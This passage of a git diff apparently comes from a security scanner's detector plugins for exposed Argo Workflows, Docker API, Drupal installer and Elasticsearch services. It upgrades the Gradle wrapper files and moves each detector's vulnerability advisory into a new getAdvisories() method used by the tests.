a/google/detectors/exposedui/argoworkflow/gradlew.bat b/google/detectors/exposedui/argoworkflow/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/argoworkflow/gradlew.bat +++ b/google/detectors/exposedui/argoworkflow/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/argoworkflow/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetector.java b/google/detectors/exposedui/argoworkflow/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetector.java index ae7c540c6..7e50e2fe6 100644 --- a/google/detectors/exposedui/argoworkflow/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetector.java +++ b/google/detectors/exposedui/argoworkflow/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetector.java @@ -70,6 +70,27 @@ public final class ExposedArgoworkflowDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("ARGOWORKFLOW_INSTANCE_EXPOSED")) + .setSeverity(Severity.CRITICAL) + .setTitle("ArgoWorkflow instance Exposed") + .setDescription( + "Argo Workflow instance is misconfigured." + + "The instance is not authenticated." + + "All workflows can be accessed by public and therefore can be modified." + + "Results in instance being compromised.") + .setRecommendation( + "Authentication should be enabled on the instance or network access to the" + + " instance restricted.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -122,19 +143,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("ARGOWORKFLOW_INSTANCE_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("ArgoWorkflow instance Exposed") - .setDescription( - "Argo Workflow instance is misconfigured." - + "The instance is not authenticated." - + "All workflows can be accessed by public and therefore can be modified." - + "Results in instance being compromised.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/argoworkflow/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetectorTest.java b/google/detectors/exposedui/argoworkflow/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetectorTest.java index 0fdaa3060..3a787d4ba 100644 --- a/google/detectors/exposedui/argoworkflow/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetectorTest.java +++ b/google/detectors/exposedui/argoworkflow/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -92,19 +89,7 @@ public void detect_whenApiEndpointExposed_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("ARGOWORKFLOW_INSTANCE_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("ArgoWorkflow instance Exposed") - .setDescription( - "Argo Workflow instance is misconfigured.The instance is not" - + " authenticated.All workflows can be accessed by public and" - + " therefore can be modified.Results in instance being" - + " compromised.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/exposedui/docker/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/docker/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/docker/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/docker/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/docker/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/docker/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/docker/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/docker/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/docker/gradlew b/google/detectors/exposedui/docker/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/docker/gradlew +++ b/google/detectors/exposedui/docker/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/docker/gradlew.bat b/google/detectors/exposedui/docker/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/docker/gradlew.bat +++ b/google/detectors/exposedui/docker/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/docker/src/main/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetector.java b/google/detectors/exposedui/docker/src/main/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetector.java index 4068191c4..587f4dc05 100644 --- a/google/detectors/exposedui/docker/src/main/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetector.java +++ b/google/detectors/exposedui/docker/src/main/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetector.java @@ -81,6 +81,20 @@ public final class DockerExposedUiDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("DOCKER_EXPOSED_UI")) + .setSeverity(Severity.CRITICAL) + .setTitle("Docker API Exposed Ui") + .setDescription(DESCRIPTION) + .setRecommendation(FINDING_RECOMMENDATION_TEXT) + .addAllAdditionalDetails(additionalDetails) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -129,17 +143,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("DOCKER_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Docker API Exposed Ui") - .setDescription(DESCRIPTION) - .setRecommendation(FINDING_RECOMMENDATION_TEXT) - .addAllAdditionalDetails(additionalDetails)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/docker/src/test/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetectorTest.java b/google/detectors/exposedui/docker/src/test/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetectorTest.java index 7defb625e..ff238fecd 100644 --- a/google/detectors/exposedui/docker/src/test/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetectorTest.java +++ b/google/detectors/exposedui/docker/src/test/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetectorTest.java @@ -19,8 +19,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.exposedui.docker.DockerExposedUiDetector.DESCRIPTION; -import static com.google.tsunami.plugins.detectors.exposedui.docker.DockerExposedUiDetector.FINDING_RECOMMENDATION_TEXT; import static java.nio.charset.StandardCharsets.UTF_8; import com.google.common.collect.ImmutableList; @@ -33,18 +31,13 @@ import com.google.tsunami.common.net.http.HttpStatus; import com.google.tsunami.common.time.testing.FakeUtcClock; import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.AdditionalDetail; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -115,21 +108,7 @@ public void detect_whenResponseIsMisconfiguredDocker_reportsVuln() throws IOExce .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("DOCKER_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Docker API Exposed Ui") - .setDescription(DESCRIPTION) - .setRecommendation(FINDING_RECOMMENDATION_TEXT) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder().setText(validApiResponse).build()) - .build())) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/exposedui/drupal_install/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/drupal_install/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/drupal_install/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/drupal_install/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/drupal_install/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/drupal_install/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/drupal_install/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/drupal_install/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/drupal_install/gradlew b/google/detectors/exposedui/drupal_install/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/drupal_install/gradlew +++ b/google/detectors/exposedui/drupal_install/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/drupal_install/gradlew.bat b/google/detectors/exposedui/drupal_install/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/drupal_install/gradlew.bat +++ b/google/detectors/exposedui/drupal_install/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/drupal_install/src/main/java/com/google/tsunami/plugins/detectors/exposedui/drupalinstall/DrupalExposedInstallationDetector.java b/google/detectors/exposedui/drupal_install/src/main/java/com/google/tsunami/plugins/detectors/exposedui/drupalinstall/DrupalExposedInstallationDetector.java index e5ee4ee87..ed27fd877 100644 --- a/google/detectors/exposedui/drupal_install/src/main/java/com/google/tsunami/plugins/detectors/exposedui/drupalinstall/DrupalExposedInstallationDetector.java +++ b/google/detectors/exposedui/drupal_install/src/main/java/com/google/tsunami/plugins/detectors/exposedui/drupalinstall/DrupalExposedInstallationDetector.java @@ -62,6 +62,27 @@ public final class DrupalExposedInstallationDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("DRUPAL_VULNERABLE_INSTALLATION_EXPOSED")) + .setSeverity(Severity.CRITICAL) + .setTitle("Drupal unfinished installation is exposed") + // TODO: b/315448255 - Determine CVSS score. + .setDescription( + "The drupal installation file is exposed and unfinished. Someone could hijack" + + "the installation process and execute code on the target machine.") + .setRecommendation( + "Ensure Drupal is not externally accessible (firewall) until the installation is" + + " complete. Complete the installation process and set a strong password for" + + " the initial admin account.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -137,22 +158,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("DRUPAL_VULNERABLE_INSTALLATION_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Drupal unfinished installation is exposed") - // TODO: b/315448255 - Determine CVSS score. - .setDescription( - "The drupal installation file is exposed and unfinished. Someone could hijack" - + "the installation process and execute code on the target machine.") - .setRecommendation( - "Ensure Drupal is not externally accessible (firewall) until the installation" - + " is complete. Complete the installation process and set a strong" - + " password for the initial admin account.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/drupal_install/src/test/java/com/google/tsunami/plugins/detectors/exposedui/drupalinstall/DrupalExposedInstallationDetectorTest.java b/google/detectors/exposedui/drupal_install/src/test/java/com/google/tsunami/plugins/detectors/exposedui/drupalinstall/DrupalExposedInstallationDetectorTest.java index 68060f600..5d6df19cc 100644 --- a/google/detectors/exposedui/drupal_install/src/test/java/com/google/tsunami/plugins/detectors/exposedui/drupalinstall/DrupalExposedInstallationDetectorTest.java +++ b/google/detectors/exposedui/drupal_install/src/test/java/com/google/tsunami/plugins/detectors/exposedui/drupalinstall/DrupalExposedInstallationDetectorTest.java @@ -32,12 +32,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -103,22 +100,7 @@ public void detect_whenInstallationFileIsVulnerable_reportsVuln() throws IOExcep .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("DRUPAL_VULNERABLE_INSTALLATION_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Drupal unfinished installation is exposed") - .setDescription( - "The drupal installation file is exposed and unfinished. Someone could" - + " hijackthe installation process and execute code on the target" - + " machine.") - .setRecommendation( - "Ensure Drupal is not externally accessible (firewall) until the" - + " installation is complete. Complete the installation process and" - + " set a strong password for the initial admin account.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/exposedui/elasticsearch/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/elasticsearch/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/elasticsearch/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/elasticsearch/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/elasticsearch/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/elasticsearch/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/elasticsearch/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/elasticsearch/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/elasticsearch/gradlew b/google/detectors/exposedui/elasticsearch/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/elasticsearch/gradlew +++ b/google/detectors/exposedui/elasticsearch/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/elasticsearch/gradlew.bat b/google/detectors/exposedui/elasticsearch/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/elasticsearch/gradlew.bat +++ b/google/detectors/exposedui/elasticsearch/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 